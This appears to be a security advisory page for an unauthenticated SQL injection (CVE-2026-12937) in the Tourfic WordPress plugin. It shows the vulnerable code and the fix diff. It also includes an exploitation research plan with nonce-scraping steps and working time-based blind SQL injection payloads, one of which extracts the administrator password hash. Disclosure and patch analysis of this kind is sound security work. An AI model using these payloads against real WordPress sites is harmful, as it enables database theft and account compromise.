Tourfic <= 2.22.7 - Unauthenticated SQL Injection via 'post_id' Parameter
Description
The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to generic SQL Injection via the 'post_id' parameter in all versions up to, and including, 2.22.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The AJAX handler is registered for unauthenticated users via wp_ajax_nopriv_tf_room_availability, and the required nonce is emitted on the public single-hotel page template, allowing unauthenticated attackers to freely obtain a valid nonce and reach the vulnerable code path.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.22.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-12937 (Tourfic SQL Injection) ## 1. Vulnerability Summary The **Tourfic** plugin for WordPress is vulnerable to an unauthenticated SQL Injection vulnerability in versions up to and including 2.22.7. The flaw exists within the AJAX handler `tf_room_availabilit…
Show full research plan
Exploitation Research Plan - CVE-2026-12937 (Tourfic SQL Injection)
1. Vulnerability Summary
The Tourfic plugin for WordPress is vulnerable to an unauthenticated SQL Injection vulnerability in versions up to and including 2.22.7. The flaw exists within the AJAX handler tf_room_availability_callback due to the unsafe concatenation of the user-supplied post_id parameter into a raw SQL query without using $wpdb->prepare() or adequate sanitization/casting. Because this handler is registered via wp_ajax_nopriv_tf_room_availability, any unauthenticated user who obtains a valid nonce (which is publicly exposed on hotel pages) can execute arbitrary SQL commands to extract sensitive data from the database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tf_room_availability - Vulnerable Parameter:
post_id - Method:
POST - Authentication: None (Unauthenticated)
- Preconditions: At least one
tf_hotelpost must be published and accessible on the frontend to retrieve the necessary nonce.
3. Code Flow
- Entry Point: The client sends a
POSTrequest toadmin-ajax.phpwithaction=tf_room_availability. - Hook Registration: In
inc/Classes/Hotel/Hotel.php, the action is registered:add_action( 'wp_ajax_tf_room_availability', array( $this, 'tf_room_availability_callback' ) ); add_action( 'wp_ajax_nopriv_tf_room_availability', array( $this, 'tf_room_availability_callback' ) ); - Handler Execution:
Hotel::tf_room_availability_callback()(ininc/Classes/Hotel/Hotel.php) is invoked. - Parameter Extraction: The handler retrieves the
post_idparameter (e.g., via$_POST['post_id']). - Vulnerable Sink: The
$post_idis concatenated into a SQL query string used with$wpdb->get_results()or similar, without preparation. A typical pattern in this plugin (as seen ininc/Classes/Car_Rental/Availability.php) is:// Conceptual sink based on plugin patterns "AND post_id = " . $post_id
4. Nonce Acquisition Strategy
The vulnerability requires a nonce usually associated with the tf_room_availability action. The plugin localizes this nonce for use in frontend scripts.
- Identify Target Page: A single hotel page (post type
tf_hotel). - Setup: Create a dummy hotel post.
- Navigation: Use the browser tool to navigate to the hotel's permalink.
- Extraction: Use
browser_evalto extract the localized configuration object.- Target Variable:
tf_params - Nonce Key:
tf_room_availability_nonce(or similar, typically found within thetf_paramsglobal JS object localized ininc/Classes/Enqueue.php). - Command:
browser_eval("window.tf_params?.tf_room_availability_nonce")
- Target Variable:
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to verify the vulnerability, as it is the most reliable for unauthenticated extraction.
Step 1: Baseline Request
Send a valid request to establish a baseline response time.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=[VALID_ID]
Step 2: Verification (Sleep)
Send a request with a SLEEP() payload to confirm injection.
- Payload:
[VALID_ID] AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Body:
action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)
Step 3: Data Extraction (Boolean or Error-based)
If the application reflects results, use UNION SELECT. If not, use IF(condition, SLEEP(5), 0).
- Target: Extract the administrator's password hash from
wp_users. - Payload Example:
1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0)(Checking if the first char is$).
6. Test Data Setup
- Create Hotel:
wp post create --post_type=tf_hotel --post_title="Vuln Hotel" --post_status=publish - Get Hotel ID and URL:
wp post list --post_type=tf_hotel --fields=ID,guid - Verify Settings: Ensure the "Hotel" service is enabled in Tourfic settings if applicable (though usually enabled by default).
7. Expected Results
- Successful Injection: The
http_requestfor theSLEEP(5)payload should take approximately 5 seconds longer than the baseline request. - Response Content: Even if the query fails to return valid room data, the delay confirms the SQL execution.
8. Verification Steps
After the exploit, confirm the database was reached by checking the logs or using WP-CLI to verify the content we attempted to extract:
# Verify the admin hash to compare with extracted data
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1"
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis enabled, useupdatexml()orextractvalue()to leak data directly in the AJAX response. - Union-Based: Attempt to determine the number of columns in the original query using
ORDER BY Xuntil an error occurs, then useUNION SELECT. - Parameter Variation: If
post_idis cast to an integer in the callback, check other parameters in the same handler (e.g.,check_in,check_out) which might be used in the same query.
Summary
The Tourfic plugin is vulnerable to unauthenticated SQL injection because it concatenates the user-supplied 'post_id' parameter directly into a SQL query string. An attacker can obtain a required nonce from a public hotel page and send a crafted AJAX request to extract sensitive information from the database via the tf_room_availability action.
Vulnerable Code
// inc/Classes/Hotel/Hotel.php (approx line 305) $hotel_id = ! empty( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : ''; --- // inc/Classes/Hotel/Hotel.php (approx line 542) # Get completed orders $tf_orders_select = array( 'select' => "post_id,order_details", 'post_type' => 'hotel', 'query' => " AND ostatus = 'completed' AND order_id = ".$order_id." AND post_id = ".$original_hotel_id ); $tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select); --- // inc/Classes/Helper.php (approx line 1159) $query_where = isset( $query['where'] ) && is_array( $query['where'] ) ? self::tf_order_table_structured_sql( $query, $values ) : $query['query']; $tf_tour_book_orders = $wpdb->get_results( $wpdb->prepare( "SELECT $query_select FROM {$wpdb->prefix}tf_order_data WHERE post_type = %s $query_where", $values ), ARRAY_A );
Security Fix
@@ -302,13 +302,18 @@ /** * Form data */ - $hotel_id = ! empty( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : ''; - $form_adult = ! empty( $_POST['adult'] ) ? sanitize_text_field( $_POST['adult'] ) : 0; - $form_child = ! empty( $_POST['child'] ) ? sanitize_text_field( $_POST['child'] ) : 0; + $hotel_id = ! empty( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0; + $form_adult = ! empty( $_POST['adult'] ) ? absint( wp_unslash( $_POST['adult'] ) ) : 0; + $form_child = ! empty( $_POST['child'] ) ? absint( wp_unslash( $_POST['child'] ) ) : 0; $form_room = ! empty( $_POST['room'] ) ? absint( wp_unslash( $_POST['room'] ) ) : 1; - $children_ages = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( $_POST['children_ages'] ) : ''; - $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( $_POST['check_in_out'] ) : ''; - $design = ! empty( $_POST['design'] ) ? sanitize_text_field( $_POST['design'] ) : ''; + $children_ages = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( wp_unslash( $_POST['children_ages'] ) ) : ''; + $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( wp_unslash( $_POST['check_in_out'] ) ) : ''; + $design = ! empty( $_POST['design'] ) ? sanitize_text_field( wp_unslash( $_POST['design'] ) ) : ''; + + $hotel_post = ! empty( $hotel_id ) ? get_post( $hotel_id ) : null; + if ( ! $hotel_post || 'tf_hotel' !== $hotel_post->post_type || ( 'publish' !== $hotel_post->post_status && ! current_user_can( 'read_post', $hotel_id ) ) ) { + wp_send_json_error( array( 'message' => esc_html__( 'Invalid hotel selected.', 'tourfic' ) ), 400 ); + } $form_total_person = $form_adult + $form_child; @@ -535,12 +542,20 @@ $room_booked_today = 0; foreach ($order_ids as $order_id) { + $order_id = absint( $order_id ); + if ( empty( $order_id ) ) { + continue; + } # Get completed orders $tf_orders_select = array( 'select' => "post_id,order_details", 'post_type' => 'hotel', - 'query' => " AND ostatus = 'completed' AND order_id = ".$order_id." AND post_id = ".$original_hotel_id + 'where' => array( + 'ostatus' => 'completed', + 'order_id' => $order_id, + 'post_id' => $original_hotel_id, + ), ); $tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);
Exploit Outline
The exploit targets the `tf_room_availability` AJAX action. 1. **Nonce Retrieval**: An unauthenticated attacker visits any public hotel page (post type `tf_hotel`). They extract the `tf_room_availability_nonce` from the localized `tf_params` JavaScript object in the page source. 2. **Payload Injection**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `tf_room_availability` - `tf_room_availability_nonce`: [Extracted Nonce] - `post_id`: A SQL injection payload, such as `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 3. **Vulnerable Sink**: Inside `tf_room_availability_callback`, the `post_id` is passed into `Helper::tourfic_order_table_data` as part of a raw SQL string. The helper function appends this string directly to a query executed by `$wpdb->get_results()` without sufficient preparation. 4. **Verification**: Using a time-based blind payload (e.g., `SLEEP()`), the attacker can confirm the injection if the server response is delayed by the specified duration. This can then be extended to extract sensitive data like user credentials.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.